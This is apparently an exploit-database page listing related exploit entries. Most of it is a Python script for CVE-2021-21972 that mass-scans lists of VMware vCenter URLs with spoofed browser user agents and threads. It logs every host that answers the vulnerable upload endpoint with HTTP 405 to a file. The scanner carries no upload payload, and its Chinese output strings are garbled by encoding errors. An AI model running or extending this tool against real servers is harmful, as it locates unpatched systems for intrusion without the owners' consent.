| Reporter | Title | Published | Views | Family All 95 |
|---|---|---|---|---|
| Exploit for Path Traversal in Mikrotik Routeros | 21 Oct 202111:42 | â | gitee | |
| Exploit for Path Traversal in Mikrotik Routeros | 27 Jul 202504:24 | â | gitee | |
| Exploit for Improper Restriction of XML External Entity Reference in Apache Solr | 7 Mar 202111:09 | â | gitee | |
| Exploit for Path Traversal in Vmware Cloud_Foundation | 9 Dec 202120:36 | â | gitee | |
| Exploit for Path Traversal in Mikrotik Routeros | 9 Feb 202223:12 | â | gitee | |
| Exploit for Path Traversal in Vmware Cloud_Foundation | 30 Mar 202117:07 | â | gitee | |
| Exploit for Path Traversal in Vmware Cloud_Foundation | 16 Mar 202115:35 | â | gitee | |
| Exploit for Path Traversal in Vmware Cloud_Foundation | 17 Mar 202110:58 | â | gitee | |
| Exploit for Improper Restriction of XML External Entity Reference in Apache Solr | 16 Aug 202116:49 | â | gitee | |
| Exploit for Path Traversal in Vmware Cloud_Foundation | 22 Apr 202114:00 | â | githubexploit |
`#-*- coding:utf-8 -*-
banner = """
888888ba dP
88 `8b 88
a88aaaa8P' .d8888b. d8888P .d8888b. dP dP
88 `8b. 88' `88 88 Y8ooooo. 88 88
88 .88 88. .88 88 88 88. .88
88888888P `88888P8 dP `88888P' `88888P'
ooooooooooooooooooooooooooooooooooooooooooooooooooooo
@time:2021/02/24 CVE-2021-21972.py
C0de by NebulabdSec - @batsu
"""
print(banner)
import threadpool
import random
import requests
import argparse
import http.client
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"
def get_ua():
first_num = random.randint(55, 62)
third_num = random.randint(0, 3200)
fourth_num = random.randint(0, 140)
os_type = [
'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
'(Macintosh; Intel Mac OS X 10_12_6)'
]
chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)
ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
'(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
)
return ua
def CVE_2021_21972(url):
proxies = {"scoks5": "http://127.0.0.1:1081"}
headers = {
'User-Agent': get_ua(),
"Content-Type": "application/x-www-form-urlencoded"
}
targetUrl = url + TARGET_URI
try:
res = requests.get(targetUrl,
headers=headers,
timeout=15,
verify=False,
proxies=proxies)
# proxies={'socks5': 'http://127.0.0.1:1081'})
# print(len(res.text))
if res.status_code == 405:
print("[+] URL:{}--------ĺĺ¨CVE-2021-21972ćźć´".format(url))
# print("[+] Command success result: " + res.text + "\n")
with open("ĺĺ¨ćźć´ĺ°ĺ.txt", 'a') as fw:
fw.write(url + '\n')
else:
print("[-] " + url + " 沥ćĺç°CVE-2021-21972ćźć´.\n")
# except Exception as e:
# print(e)
except:
print("[-] " + url + " Request ERROR.\n")
def multithreading(filename, pools=5):
works = []
with open(filename, "r") as f:
for i in f:
func_params = [i.rstrip("\n")]
# func_params = [i] + [cmd]
works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(CVE_2021_21972, works)
[pool.putRequest(req) for req in reqs]
pool.wait()
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u",
"--url",
help="Target URL; Example:http://ip:port")
parser.add_argument("-f",
"--file",
help="Url File; Example:url.txt")
# parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
args = parser.parse_args()
url = args.url
# cmd = args.cmd
file_path = args.file
if url != None and file_path ==None:
CVE_2021_21972(url)
elif url == None and file_path != None:
multithreading(file_path, 10) # éťčޤ15çşżç¨
if __name__ == "__main__":
main()
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation